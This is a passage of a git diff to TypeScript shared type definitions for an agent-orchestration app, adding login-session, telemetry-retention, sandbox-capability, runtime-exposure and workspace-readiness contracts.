+  },
   "interaction.resolved": {
     "interaction_kind": {
       "suggest_tasks": "Board-facing interaction that proposes concrete subtasks for acceptance.",
       "ask_user_questions": "Board-facing interaction that asks structured questions and stores answers.",
       "request_confirmation": "Board-facing interaction that asks for a single accept or reject decision.",
       "request_checkbox_confirmation": "Board-facing interaction that asks the board to select options and confirm.",
+      "request_item_verdicts": "Board-facing interaction that collects a verdict for each known item.",
       "other": "Fallback when the interaction kind is unknown or not represented by the tracked enum."
     },
     "status": {
diff --git a/packages/shared/src/telemetry/index.ts b/packages/shared/src/telemetry/index.ts
index 61ae4e460a3..b0ef0da089a 100644
--- a/packages/shared/src/telemetry/index.ts
+++ b/packages/shared/src/telemetry/index.ts
@@ -15,6 +15,7 @@ export {
   trackAgentFirstHeartbeat,
   trackAgentTaskCompleted,
   trackErrorHandlerCrash,
+  trackInteractionCreated,
   trackInteractionResolved,
 } from "./events.js";
 export type {
diff --git a/packages/shared/src/telemetry/retention.test.ts b/packages/shared/src/telemetry/retention.test.ts
index db02ed011e4..9d54db1371b 100644
--- a/packages/shared/src/telemetry/retention.test.ts
+++ b/packages/shared/src/telemetry/retention.test.ts
@@ -18,4 +18,9 @@ describe("telemetry retention contract", () => {
     expect(cls).toBeDefined();
     expect(RETENTION_DAYS[cls!]).toBe(90);
   });
+
+  it("interaction compatibility telemetry uses enum/count retention", () => {
+    expect(EVENT_RETENTION_CLASS["interaction.created"]).toBe("operational_enum_count");
+    expect(EVENT_RETENTION_CLASS["interaction.resolved"]).toBe("operational_enum_count");
+  });
 });
diff --git a/packages/shared/src/telemetry/retention.ts b/packages/shared/src/telemetry/retention.ts
index 264c769e8ea..543e1085298 100644
--- a/packages/shared/src/telemetry/retention.ts
+++ b/packages/shared/src/telemetry/retention.ts
@@ -45,4 +45,6 @@ export type RetentionClass = keyof typeof RETENTION_DAYS;
  */
 export const EVENT_RETENTION_CLASS: Partial<Record<string, RetentionClass>> = {
   "codex.credential_health": "operational_enum_count",
+  "interaction.created": "operational_enum_count",
+  "interaction.resolved": "operational_enum_count",
 };
diff --git a/packages/shared/src/types/agent.ts b/packages/shared/src/types/agent.ts
index bea8794ea00..9f7453843d1 100644
--- a/packages/shared/src/types/agent.ts
+++ b/packages/shared/src/types/agent.ts
@@ -204,6 +204,95 @@ export interface StartAdapterAuthSessionRequest {
   ttlSeconds?: number;
 }
 
+// The login-panel mode. It tells the client which login panel to render.
+//
+// - `displayed_code`: the server shows a one-time code. The user reads the code
+//   into the provider prompt. The Codex login prompt above uses this mode.
+// - `submitted_browser_code`: the provider shows a code in the browser. The user
+//   submits that code back to the server. The Claude login uses this mode.
+export const ADAPTER_AUTH_PANEL_MODES = [
+  "displayed_code",
+  "submitted_browser_code",
+] as const;
+export type AdapterAuthPanelMode = (typeof ADAPTER_AUTH_PANEL_MODES)[number];
+
+// The company-and-environment Claude login session. The scope binds one login to
+// one company, one owner user, one adapter, and one environment. The scope
+// carries no agent id, so a hire flow with no agent still starts one session.
+//
+// The Codex prompt above carries a server-displayed code. The Claude login is
+// different: the provider shows a browser code, and the user submits that code.
+// So this contract carries a submitted browser code, not a displayed code.
+
+// The transport advisory for a setup-token confidential response. The product
+// owner set a non-negotiable requirement: do not force TLS. Many users run
+// Paperclip over plain HTTP on a home server or a Tailscale tailnet. So the
+// setup-token routes do not block a non-confidential transport. They attach this
+// advisory to the confidential response instead. The client shows a visible,
+// non-blocking disclaimer and the login still proceeds. A confidential transport
+// (direct TLS, a local-trusted loopback, or an allowlisted TLS proxy) carries no
+// advisory.
+export const SETUP_TOKEN_TRANSPORT_ADVISORY_CODE = "insecure_transport" as const;
+export type SetupTokenTransportAdvisoryCode = typeof SETUP_TOKEN_TRANSPORT_ADVISORY_CODE;
+
+// The advisory signal on a setup-token confidential response. A `null` or an
+// absent value means the transport is confidential and needs no disclaimer.
+export interface SetupTokenTransportAdvisory {
+  code: SetupTokenTransportAdvisoryCode;
+}
+
+// The one-time Claude login prompt. The server returns it only through an owner
+// read. It carries the authorization URL the user opens. The provider shows the
+// browser code in the browser; the user submits that code back to the server.
+// This prompt carries no server-displayed code.
+export interface ClaudeSetupTokenSessionPrompt {
+  authorizationUrl: string;
+  // The transport advisory. It is present and non-null when the login rides a
+  // non-confidential transport. The client shows a disclaimer, not a block.
+  transportAdvisory?: SetupTokenTransportAdvisory | null;
+}
+
+// The public Claude login-session response. It reuses the adapter login-session
+// response fields; every field has the same meaning. It carries no secret. It
+// never carries the browser code, a token, an account identifier, or the
+// provider lease identifier. The `status` is always a public status.
+export interface ClaudeSetupTokenSessionResponse {
+  sessionId: string;
+  environmentId: string;
+  status: AdapterAuthSessionStatus;
+  expiresAt: string | null;
+  failure: AdapterAuthSessionFailure | null;
+  // The transport advisory. A guarded route (the browser-code submit) sets it
+  // when the login rides a non-confidential transport. The status and the start
+  // responses omit it, because they carry no confidential value.
+  transportAdvisory?: SetupTokenTransportAdvisory | null;
+}
+
+// The owner read of a Claude login session. It adds the panel mode and the
+// one-time prompt to the public response. Only the owner principal that started
+// the session reads this shape.
+export interface ClaudeSetupTokenSessionOwnerResponse
+  extends ClaudeSetupTokenSessionResponse {
+  panelMode: AdapterAuthPanelMode;
+  prompt: ClaudeSetupTokenSessionPrompt | null;
+}
+
+// The request that submits the browser code for a Claude login session. The user
+// copies the code from the browser and submits it here. The validator rejects a
+// control byte and an oversized code, so a malformed code never reaches the
+// live login process.
+export interface SubmitBrowserCodeRequest {
+  browserCode: string;
+}
+
+// The completion response for a Claude login session. It carries the non-secret
+// `storedSessionId` claim and no token. The `storedSessionId` is the durable
+// session id; the agent-create transaction consumes it as the one-time
+// stored-session claim.
+export interface ClaudeSetupTokenCompletionResponse {
+  storedSessionId: string;
+}
+
 export type AdapterEnvironmentCheckLevel = "info" | "warn" | "error";
 export type AdapterEnvironmentTestStatus = "pass" | "warn" | "fail";
 
diff --git a/packages/shared/src/types/attention.ts b/packages/shared/src/types/attention.ts
index 47a657a17de..1994c49abc1 100644
--- a/packages/shared/src/types/attention.ts
+++ b/packages/shared/src/types/attention.ts
@@ -1,3 +1,8 @@
+import type {
+  IssueThreadInteractionCanonicalResolverPolicy,
+  IssueThreadInteractionEffectiveResolverPolicySource,
+  IssueThreadInteractionResolverPolicyProvenance,
+} from "../constants.js";
 import type { InboxDismissalKind } from "./inbox-dismissal.js";
 
 export const ATTENTION_SOURCE_KINDS = [
@@ -180,6 +185,36 @@ export type AttentionItemDetail =
       images: AttentionDetailImage[];
     };
 
+/**
+ * Who may resolve an issue-thread interaction, as the server evaluated it
+ * (PAP-17287). A collapsed attention row carries decision buttons before the
+ * full interaction is ever fetched, so the audience has to travel with the feed
+ * item — otherwise the queue asks for a decision without saying whose it is.
+ *
+ * These are *facts*, not copy: the canonical policy the resolution evaluator
+ * will apply plus the identities it will compare against. Presentation layers
+ * turn them into a sentence; nothing here grants or withholds capability, which
+ * the server re-checks at use time.
+ */
+export interface AttentionResolverAudience {
+  /** Canonical policy the creator asked for, before caps and clamps. */
+  requestedResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  /** Canonical policy the server will actually enforce. */
+  effectiveResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  /** Why the effective policy differs from the requested one, if it does. */
+  effectiveResolverPolicySource: IssueThreadInteractionEffectiveResolverPolicySource;
+  /** Whether the requested policy was explicit, inherited, or pre-migration. */
+  resolverPolicyProvenance: IssueThreadInteractionResolverPolicyProvenance;
+  /** Agent the card is addressed to, when it names one. */
+  addresseeAgentId: string | null;
+  /** Display name of {@link addresseeAgentId}, resolved server-side. */
+  addresseeName: string | null;
+  /** Agent that created the card, excluded when the policy is `not_creator`. */
+  createdByAgentId: string | null;
+  /** Display name of {@link createdByAgentId}, resolved server-side. */
+  createdByAgentName: string | null;
+}
+
 export interface AttentionItem {
   id: string;
   companyId: string;
@@ -215,6 +250,11 @@ export interface AttentionItem {
   snoozedUntil: string | null;
   detail: AttentionItemDetail | null;
   trainingExampleId: string | null;
+  /**
+   * Set for `issue_thread_interaction` rows only. Absent on every other source
+   * kind, whose decisions are not governed by a resolver policy.
+   */
+  resolverAudience?: AttentionResolverAudience | null;
 }
 
 export interface AttentionFeed {
diff --git a/packages/shared/src/types/environment.ts b/packages/shared/src/types/environment.ts
index aa08f82ab75..8384a63b1d0 100644
--- a/packages/shared/src/types/environment.ts
+++ b/packages/shared/src/types/environment.ts
@@ -30,11 +30,6 @@ export interface FakeSandboxEnvironmentConfig {
   reuseLease: boolean;
   /** Stream agent CLI stdout/stderr during sandbox runs (bridge log-tail loop). */
   streamRunLogs?: boolean;
-  /**
-   * Stream the interactive ACP agent output through the persistent session log
-   * stream instead of the host output-file poll. Default OFF.
-   */
-  streamAgentSessionOutput?: boolean;
   /**
    * Archive the sandbox on lease release instead of deleting it, so operators
    * can inspect it from the provider dashboard. Injected by test/probe paths;
@@ -49,11 +44,6 @@ export interface PluginSandboxEnvironmentConfig {
   timeoutMs?: number;
   /** Stream agent CLI stdout/stderr during sandbox runs (bridge log-tail loop). */
   streamRunLogs?: boolean;
-  /**
-   * Stream the interactive ACP agent output through the persistent session log
-   * stream instead of the host output-file poll. Default OFF.
-   */
-  streamAgentSessionOutput?: boolean;
   /**
    * Archive the sandbox on lease release instead of deleting it, so operators
    * can inspect it from the provider dashboard. Injected by test/probe paths;
@@ -93,7 +83,11 @@ export interface Environment {
   updatedAt: Date;
 }
 
-export type EnvironmentDeleteBlockedReason = "managed_local" | "instance_default";
+export type EnvironmentDeleteBlockedReason =
+  | "managed_local"
+  | "instance_default"
+  | "reusable_sandbox_lease"
+  | "pending_sandbox_cleanup";
 
 export interface EnvironmentDeleteBlastRadius {
   environmentId: string;
@@ -113,12 +107,28 @@ export interface EnvironmentDeleteBlastRadius {
     activeCustomImageSetupSessionCount: number;
     hasActiveRuntimeUse: boolean;
   };
+  /**
+   * Count of leases in the terminal `pending_cleanup` state. Each such lease
+   * holds the only durable provider reference for a sandbox that a teardown
+   * retry must destroy. A delete or a provider change must not remove this
+   * reference, so a count above zero blocks the delete.
+   */
+  pendingCleanupLeaseCount: number;
+  /**
+   * Count of reusable sandbox leases whose provider resource is still live.
+   * Deleting the environment would remove the context used by their normal
+   * release and destroy paths, so these leases block deletion.
+   */
+  reusableSandboxLeaseCount: number;
 }
 
 export interface EnvironmentLease {
   id: string;
   companyId: string;
-  environmentId: string;
+  // Null only for an orphan `pending_cleanup` lease whose environment a delete
+  // removed. The cleanup sweep tears the orphan down from the row's immutable
+  // provider metadata, so it needs no environment row.
+  environmentId: string | null;
   executionWorkspaceId: string | null;
   issueId: string | null;
   heartbeatRunId: string | null;
diff --git a/packages/shared/src/types/index.ts b/packages/shared/src/types/index.ts
index 52ff2ed3a62..2f63fd280d8 100644
--- a/packages/shared/src/types/index.ts
+++ b/packages/shared/src/types/index.ts
@@ -27,6 +27,7 @@ export type {
   AttentionFeedQuery,
   AttentionProjectRef,
   AttentionQueueRef,
+  AttentionResolverAudience,
   AttentionSeverity,
   AttentionSortMode,
   AttentionSourceKind,
@@ -284,10 +285,20 @@ export type {
   AdapterAuthSessionPrompt,
   AdapterAuthSessionOwnerResponse,
   StartAdapterAuthSessionRequest,
+  AdapterAuthPanelMode,
+  ClaudeSetupTokenSessionPrompt,
+  ClaudeSetupTokenSessionResponse,
+  ClaudeSetupTokenSessionOwnerResponse,
+  SubmitBrowserCodeRequest,
+  ClaudeSetupTokenCompletionResponse,
+  SetupTokenTransportAdvisory,
+  SetupTokenTransportAdvisoryCode,
 } from "./agent.js";
 export {
   ADAPTER_AUTH_SESSION_STATUSES,
   ADAPTER_AUTH_SESSION_INTERNAL_STATUSES,
+  ADAPTER_AUTH_PANEL_MODES,
+  SETUP_TOKEN_TRANSPORT_ADVISORY_CODE,
 } from "./agent.js";
 export type {
   AgentEligibilityAgent,
@@ -396,6 +407,14 @@ export type {
   WorkspaceOperationPhase,
   WorkspaceOperationStatus,
 } from "./workspace-operation.js";
+export { WORKSPACE_READINESS_STATES } from "./workspace-readiness.js";
+export type {
+  WorkspaceLoginHandoffTicketResponse,
+  WorkspaceReadiness,
+  WorkspaceReadinessProbeResult,
+  WorkspaceReadinessState,
+  WorkspaceSeedReadinessState,
+} from "./workspace-readiness.js";
 export type {
   NormalizedWorkspaceFileAvailabilityQuery,
   WorkspaceFileAvailabilityQuery,
@@ -604,6 +623,7 @@ export type {
   IssueSubtreeDiagnosticEdge,
   IssueSubtreeDiagnosticsResponse,
   IssueBlockerAttention,
+  IssueBlockerAttentionIssueSummary,
   IssueBlockerAttentionReason,
   IssueBlockerAttentionState,
   IssueReviewAttention,
@@ -675,6 +695,8 @@ export type {
   RequestConfirmationResult,
   RequestConfirmationToolActionPayload,
   RequestConfirmationToolActionResult,
+  RequestConfirmationSecretProposalPayload,
+  RequestConfirmationSecretProposalResult,
   RequestCheckboxConfirmationOption,
   RequestCheckboxConfirmationPayload,
   RequestCheckboxConfirmationResult,
@@ -933,6 +955,7 @@ export type {
   PluginWebhookDeclaration,
   PluginToolDeclaration,
   PluginEnvironmentDriverDeclaration,
+  SandboxProviderCapabilities,
   PluginEnvironmentTemplateConfigBinding,
   PluginManagedAgentDeclaration,
   PluginManagedProjectDeclaration,
diff --git a/packages/shared/src/types/instance.ts b/packages/shared/src/types/instance.ts
index 0d69369d600..cfb296dd732 100644
--- a/packages/shared/src/types/instance.ts
+++ b/packages/shared/src/types/instance.ts
@@ -89,6 +89,13 @@ export interface InstanceExperimentalSettings {
    * instances, which have no trusted cloud tenant path.
    */
   enableOwnerInstanceAdmin: boolean;
+  /**
+   * Kill switch for the sandbox duplex command-stream bridge. Default off. The
+   * host reads this per run before it selects the callback bridge transport.
+   * Off forces the file bridge for every run with no manifest change and no
+   * redeploy.
+   */
+  enableSandboxDuplexBridge: boolean;
   /**
    * Worktree preview instances (`PAPERCLIP_IN_WORKTREE=true`) suppress the
    * heartbeat run engine by default so previews never self-execute tasks. When
diff --git a/packages/shared/src/types/issue.ts b/packages/shared/src/types/issue.ts
index 27efaea158f..151dd32f10a 100644
--- a/packages/shared/src/types/issue.ts
+++ b/packages/shared/src/types/issue.ts
@@ -25,8 +25,12 @@ import type {
   IssueWorkMode,
   ModelProfileKey,
   IssueThreadInteractionContinuationPolicy,
+  IssueThreadInteractionCanonicalResolverPolicy,
+  IssueThreadInteractionEffectiveResolverPolicySource,
   IssueThreadInteractionKind,
+  IssueThreadInteractionLegacyResolverPolicyAlias,
   IssueThreadInteractionResolverPolicy,
+  IssueThreadInteractionResolverPolicyProvenance,
   IssueThreadInteractionStatus,
   IssueStatus,
 } from "../constants.js";
@@ -216,6 +220,7 @@ export interface IssueRelationIssueSummary {
   assigneeUserId: string | null;
   terminalBlockers?: IssueRelationIssueSummary[];
   activeRecoveryAction?: IssueRecoveryAction | null;
+  scheduledRetry?: IssueScheduledRetry | null;
 }
 
 export type IssueBlockerDiagnosticFlag =
@@ -396,6 +401,12 @@ export type IssueBlockerAttentionReason =
   | "attention_required"
   | null;
 
+export interface IssueBlockerAttentionIssueSummary {
+  id: string;
+  identifier: string | null;
+  title: string;
+}
+
 export interface IssueBlockerAttention {
   state: IssueBlockerAttentionState;
   reason: IssueBlockerAttentionReason;
@@ -408,8 +419,12 @@ export interface IssueBlockerAttention {
   sampleStalledBlockerIdentifier: string | null;
   /** True when a blocker or one of its open descendants is actively progressing. */
   blockingTreeLive?: boolean;
-  /** The sampled leaf blocker that requires action, rather than the blocked root. */
+  /** The direct blocker whose chain contains the sampled terminal blocker. */
+  directBlockerIssueId?: string | null;
+  /** The sampled blocker that requires action, rather than the blocked root. */
   terminalBlockerIssueId?: string | null;
+  /** Link-ready details for the sampled blocker, including non-terminal intermediate nodes. */
+  terminalBlocker?: IssueBlockerAttentionIssueSummary | null;
 }
 
 export type IssueReviewAttentionState = "none" | "covered" | "stalled";
@@ -779,6 +794,7 @@ export interface Issue {
   ancestors?: IssueAncestor[];
   title: string;
   description: string | null;
+  descriptionTruncated?: boolean;
   status: IssueStatus;
   workMode: IssueWorkMode;
   priority: IssuePriority;
@@ -1171,6 +1187,17 @@ export interface RequestConfirmationToolActionPayload {
   expiresAt: string;
 }
 
+export interface RequestConfirmationSecretProposalPayload {
+  version: 1;
+  proposalId: string;
+  sourceSecretLabel: string;
+  configPath: string;
+  targetAgentId: string;
+  targetAgentName: string;
+  justification: string;
+  expiresAt: string;
+}
+
 /**
  * Lifecycle status written back onto the resolved interaction once the operator
  * approves. `approve = run`, so the terminal states are executed/failed/expired —
@@ -1186,6 +1213,13 @@ export interface RequestConfirmationToolActionResult {
   updatedAt: string;
 }
 
+export interface RequestConfirmationSecretProposalResult {
+  version: 1;
+  status: "executed" | "failed" | "rejected" | "withdrawn" | "expired";
+  errorCode?: string | null;
+  updatedAt: string;
+}
+
 export interface RequestConfirmationPayload {
   version: 1;
   prompt: string;
@@ -1199,6 +1233,7 @@ export interface RequestConfirmationPayload {
   supersedeOnUserComment?: boolean;
   target?: RequestConfirmationTarget | null;
   toolAction?: RequestConfirmationToolActionPayload;
+  secretProposal?: RequestConfirmationSecretProposalPayload;
 }
 
 export interface RequestCheckboxConfirmationOption {
@@ -1275,6 +1310,7 @@ export interface RequestConfirmationResult {
     updatedAt?: string | null;
   } | null;
   toolAction?: RequestConfirmationToolActionResult;
+  secretProposal?: RequestConfirmationSecretProposalResult;
 }
 
 export interface RequestCheckboxConfirmationResult extends RequestConfirmationResult {
@@ -1285,7 +1321,9 @@ export interface RequestItemVerdictsResultItem {
   id: string;
   verdict: RequestItemVerdictValue;
   reason?: string | null;
-  resolvedByUserId: string;
+  resolvedByUserId?: string | null;
+  resolvedByAgentId?: string | null;
+  resolvedByRunId?: string | null;
   resolvedAt: Date | string;
   commentId?: string | null;
 }
@@ -1313,9 +1351,16 @@ export interface IssueThreadInteractionBase extends IssueThreadInteractionActorF
   summary?: string | null;
   status: IssueThreadInteractionStatus;
   continuationPolicy: IssueThreadInteractionContinuationPolicy;
-  resolverPolicy: IssueThreadInteractionResolverPolicy;
-  requestedResolverPolicy: IssueThreadInteractionResolverPolicy;
-  effectiveResolverPolicy: IssueThreadInteractionResolverPolicy;
+  /** @deprecated Read requestedResolverPolicy. Kept for API compatibility. */
+  resolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  requestedResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  effectiveResolverPolicy: IssueThreadInteractionCanonicalResolverPolicy;
+  resolverPolicyProvenance: IssueThreadInteractionResolverPolicyProvenance;
+  effectiveResolverPolicySource: IssueThreadInteractionEffectiveResolverPolicySource;
+  legacyResolverPolicyAliases: {
+    requested: IssueThreadInteractionLegacyResolverPolicyAlias | null;
+    effective: IssueThreadInteractionLegacyResolverPolicyAlias | null;
+  };
   createdAt: Date | string;
   updatedAt: Date | string;
   resolvedAt?: Date | string | null;
diff --git a/packages/shared/src/types/plugin.ts b/packages/shared/src/types/plugin.ts
index 2ff9334382f..30ff21d289f 100644
--- a/packages/shared/src/types/plugin.ts
+++ b/packages/shared/src/types/plugin.ts
@@ -132,6 +132,60 @@ export interface PluginEnvironmentTemplateConfigBinding {
   unsetFields?: string[];
 }
 
+/**
+ * Optional capability declaration for a sandbox provider driver.
+ *
+ * Each flag states that the provider intends to support one behavior. The
+ * declaration is a request, not a grant: the host resolves the effective
+ * capability as the intersection of the declaration, the live worker's verified
+ * methods, and any narrowing from the provider config or lease. A declared flag
+ * never grants a capability the live worker did not verify. Every flag is
+ * optional; an absent flag defers to the verified discovery baseline.
+ */
+export interface SandboxProviderCapabilities {
+  /** Provider can retain and resume a provider lease across runs. */
+  reusableLeases?: boolean;
+  /** Provider can transfer files into the sandbox through a native inbound hook. */
+  nativeSyncIn?: boolean;
+  /** Provider can transfer files out of the sandbox through a native outbound hook. */
+  nativeSyncOut?: boolean;
+  /** Provider can keep a persistent process session open across commands. */
+  persistentProcessSessions?: boolean;
+  /** Provider can run a control command that does not wait for the main command. */
+  independentControlCommands?: boolean;
+  /**
+   * Provider streams incremental stdout and stderr from a persistent session
+   * while the command runs. This is an opt-in behavioral guarantee, not a worker
+   * method property: a generic one-shot provider can keep persistent sessions and
+   * run independent control commands yet never emit incremental session output.
+   * An omitted key denies the capability. Only a provider that declares this key
+   * `true` selects the session-output streaming path; every other provider keeps
+   * the output-file poll path.
+   */
+  incrementalSessionOutput?: boolean;
+  /**
+   * Provider can run file transfers into and out of the sandbox in parallel, in
+   * both directions. This is an opt-in behavioral guarantee. An omitted key
+   * denies the capability, so the host keeps the serial transfer path. The host
+   * resolves the capability `true` only when the provider declares this key
+   * `true` and the live worker verifies both sync verbs (`environmentSyncIn` and
+   * `environmentSyncOut`). A provider that verifies only one verb resolves
+   * `false`.
+   */
+  concurrentSyncOperations?: boolean;
+  /**
+   * Provider opens one persistent, bidirectional duplex channel that carries the
+   * command stream, in place of the file transport of the callback bridge. This
+   * is an opt-in behavioral guarantee, not a worker-method property: a provider
+   * that keeps persistent sessions and runs independent control commands still
+   * does not carry a framed duplex stream unless it declares this key. An omitted
+   * key denies the capability, so the provider keeps the file bridge. Only a
+   * provider that declares this key `true` and whose worker verifies the duplex
+   * open method selects the duplex channel path.
+   */
+  duplexCommandStream?: boolean;
+}
+
 export interface PluginEnvironmentDriverDeclaration {
   /** Stable driver key, unique within the plugin. Namespaced by plugin ID at runtime. */
   driverKey: string;
@@ -153,6 +207,13 @@ export interface PluginEnvironmentDriverDeclaration {
    * behavior even if their config schema exposes a reuse-like setting.
    */
   supportsReusableLeases?: boolean;
+  /**
+   * Fine-grained sandbox capability declaration. Optional and partial. The host
+   * resolves the effective capability as declaration ∩ verified ∩ narrowing;
+   * see {@link SandboxProviderCapabilities}. When both `supportsReusableLeases`
+   * and `sandboxCapabilities.reusableLeases` are present, the nested value wins.
+   */
+  sandboxCapabilities?: SandboxProviderCapabilities;
   /** Provider can keep a temporary setup sandbox alive for user-driven sandbox customization and capture. */
   supportsInteractiveSetup?: boolean;
   /** Connection types the setup sandbox can expose. Initially `ssh`; providers may add custom values. */
@@ -175,6 +236,22 @@ export interface PluginEnvironmentDriverDeclaration {
   templateIdentityPaths?: string[];
   /** Provider supports best-effort deletion/cleanup of captured templates. */
   supportsTemplateDelete?: boolean;
+  /**
+   * Provider can host an interactive login on a real pseudo-terminal. Only a
+   * provider with this flag exposes the login pseudo-terminal methods. The login
+   * server and the login UI both gate on this flag, so a provider without it
+   * never starts a login.
+   */
+  supportsLoginPty?: boolean;
+  /**
+   * Deprecated alias for `supportsLoginPty`. It exists only so an external
+   * plugin manifest that declares the old name still loads. The manifest
+   * validator canonicalizes it onto `supportsLoginPty` and drops it. Do not read
+   * this field; read `supportsLoginPty`.
+   *
+   * @deprecated Use `supportsLoginPty`.
+   */
+  supportsSetupTokenLogin?: boolean;
   /** JSON Schema describing the driver's provider-specific configuration. */
   configSchema: JsonSchema;
 }
diff --git a/packages/shared/src/types/runtime-exposure.ts b/packages/shared/src/types/runtime-exposure.ts
new file mode 100644
index 00000000000..785f053a7ad
--- /dev/null
+++ b/packages/shared/src/types/runtime-exposure.ts
@@ -0,0 +1,85 @@
+/**
+ * Contract shared across DB, server, UI, runtime, and the least-privilege
+ * Tailscale HTTPS host broker for the opt-in `tailscale_https` exposure mode on
+ * managed workspace runtime services.
+ *
+ * This file is the single source of truth for the exposure config and exposure
+ * state shapes so the database column, shared validators, server serializers,
+ * UI clients, and the broker wire protocol cannot drift. See PAP-17049 (plan)
+ * and PAP-17050 (threat-model verdict).
+ */
+
+/** Exposure provider. Only Tailscale HTTPS is defined today. */
+export type RuntimeExposureProvider = "tailscale_https";
+
+/**
+ * How a configured exposure reports health when provisioning fails.
+ * `fail_closed` is the only supported value: a configured HTTPS preview is
+ * never reported healthy with a plain-HTTP fallback.
+ */
+export type RuntimeExposureFailurePolicy = "fail_closed";
+
+/**
+ * Opt-in exposure request declared on a managed workspace runtime service.
+ * Deliberately narrow: no arbitrary target URL, path, hostname suffix, or port
+ * is accepted from the app. `hostname: "auto"` is resolved from the local
+ * Tailscale node; `publicPort: "same"` reuses the allocated app port.
+ */
+export interface RuntimeExposureConfig {
+  type: RuntimeExposureProvider;
+  /** Only "auto" is supported; the node DNS name is resolved at runtime. */
+  hostname: "auto";
+  /** Only "same" is supported; the public port equals the loopback app port. */
+  publicPort: "same";
+  /** Provision the Paperclip Vite HMR companion listener alongside the app. */
+  includePaperclipViteHmr: boolean;
+  failurePolicy: RuntimeExposureFailurePolicy;
+}
+
+/**
+ * Exposure lifecycle, modelled independently of the backend process lifecycle.
+ * A backend can be `running`/healthy while its HTTPS exposure is still
+ * `pending`, `failed`, or `cleanup_pending`.
+ */
+export type RuntimeExposureState =
+  | "pending"
+  | "ready"
+  | "failed"
+  | "cleanup_pending"
+  | "removed";
+
+/** Purpose of a single owned HTTPS-to-loopback listener. */
+export type RuntimeExposureListenerPurpose = "app" | "vite_hmr";
+
+/**
+ * One HTTPS-to-loopback mapping owned by this runtime service. `publicPort`
+ * always equals `targetPort` (same-number invariant); the target is loopback.
+ */
+export interface RuntimeExposureListener {
+  purpose: RuntimeExposureListenerPurpose;
+  publicPort: number;
+  targetPort: number;
+}
+
+/**
+ * Structured exposure state persisted on the runtime-service record and echoed
+ * through server serializers to the UI. Never contains privileged commands,
+ * lease handles, host paths, or raw broker/CLI output.
+ */
+export interface RuntimeExposureStatus {
+  provider: RuntimeExposureProvider;
+  state: RuntimeExposureState;
+  /** Canonical browser URL once `ready`; null while pending/failed/removed. */
+  publicUrl: string | null;
+  /** Resolved node DNS hostname once known; null otherwise. */
+  hostname: string | null;
+  listeners: RuntimeExposureListener[];
+  /**
+   * Opaque broker reference for reconciliation/audit correlation. Not a lease
+   * handle and not secret; safe to serialize to the UI.
+   */
+  brokerRef: string | null;
+  /** Last non-sensitive, bounded error string for actionable UI remediation. */
+  lastError: string | null;
+  updatedAt: string | null;
+}
diff --git a/packages/shared/src/types/workspace-operation.ts b/packages/shared/src/types/workspace-operation.ts
index d1ccf6622d5..8fcb52c7088 100644
--- a/packages/shared/src/types/workspace-operation.ts
+++ b/packages/shared/src/types/workspace-operation.ts
@@ -2,7 +2,9 @@ export type WorkspaceOperationPhase =
   | "worktree_prepare"
   | "workspace_config_freshness"
   | "workspace_provision"
+  | "workspace_seed"
   | "workspace_runtime_provision"
+  | "workspace_repair"
   | "workspace_teardown"
   | "worktree_cleanup"
   | "workspace_finalize";
diff --git a/packages/shared/src/types/workspace-readiness.ts b/packages/shared/src/types/workspace-readiness.ts
new file mode 100644
index 00000000000..c979f99c3dc
--- /dev/null
+++ b/packages/shared/src/types/workspace-readiness.ts
@@ -0,0 +1,91 @@
+/**
+ * Workspace readiness contract (PAP-17572).
+ *
+ * Transport health ("the port answered") is not user readiness. A cloned
+ * workspace is only usable when its own database is reachable, the seed
+ * manifest reached a verified terminal state, representative cloned rows are
+ * readable, the password-independent login handoff is configured, and the
+ * instance/workspace/company identity matches the one the control plane expects.
+ *
+ * These fields ride on the *protected* health response only. Public health
+ * stays redacted: an anonymous caller learns liveness, never which instance or
+ * execution workspace answered.
+ */
+
+export const WORKSPACE_READINESS_STATES = [
+  /** The isolated database is still being restored. */
+  "provisioning",
+  /** Restore finished; the clone is being validated. */
+  "validating",
+  /** Every readiness signal agrees; the workspace can be opened. */
+  "ready",
+  /** Serving, but at least one readiness signal regressed after being ready. */
+  "degraded",
+  /** A managed repair is running right now. */
+  "repairing",
+  /** A terminal provisioning or repair failure needs an operator action. */
+  "failed",
+] as const;
+
+export type WorkspaceReadinessState = (typeof WORKSPACE_READINESS_STATES)[number];
+
+/** Terminal state of the versioned seed manifest, or `unknown` for a legacy marker. */
+export type WorkspaceSeedReadinessState =
+  | "pending"
+  | "running"
+  | "verified"
+  | "failed"
+  | "unknown"
+  | "absent";
+
+export interface WorkspaceReadiness {
+  state: WorkspaceReadinessState;
+  /** `SELECT 1` plus a readable migration journal on this instance's own database. */
+  databaseReady: boolean;
+  /** A representative cloned company/issue pair is readable. */
+  cloneDataReady: boolean;
+  /** A signing key and a resolvable cloned admin identity are both present. */
+  authHandoffReady: boolean;
+  /** Exact cloned user checked for a caller-scoped handoff probe, or null. */
+  authHandoffUserId: string | null;
+  seedState: WorkspaceSeedReadinessState;
+  /** Last recorded seed phase, e.g. `restore` or `post_restore_validation`. */
+  seedPhase: string | null;
+  seedMode: "minimal" | "full" | null;
+  /** Resolved instance identity of the process that answered, never a branch heuristic. */
+  instanceId: string | null;
+  /** Execution workspace this instance was provisioned for, when known. */
+  executionWorkspaceId: string | null;
+  /** Company whose cloned board this workspace serves, when known. */
+  companyId: string | null;
+  /** Phase that failed, so operators do not need host-shell archaeology. */
+  failurePhase: string | null;
+}
+
+/**
+ * Result of the control plane's protected readiness probe against a managed
+ * workspace runtime. `reason` is a stable machine code so the runtime gate and
+ * the UI can branch without parsing prose.
+ */
+export type WorkspaceReadinessProbeResult =
+  | { ok: true; readiness: WorkspaceReadiness }
+  | {
+      ok: false;
+      reason:
+        | "unreachable"
+        | "http_error"
+        | "unhealthy_payload"
+        | "readiness_missing"
+        | "not_ready"
+        | "identity_mismatch";
+      readiness: WorkspaceReadiness | null;
+      detail: string | null;
+    };
+
+export interface WorkspaceLoginHandoffTicketResponse {
+  /** Absolute URL that exchanges the ticket and redirects to the cloned board. */
+  url: string;
+  expiresAt: string;
+  /** `handoff` for the signed path, `credentials` when only the fallback is available. */
+  mode: "handoff" | "credentials";
+}
diff --git a/packages/shared/src/types/workspace-runtime.ts b/packages/shared/src/types/workspace-runtime.ts
index f2b79f8981c..a36fbaf162c 100644
--- a/packages/shared/src/types/workspace-runtime.ts
+++ b/packages/shared/src/types/workspace-runtime.ts
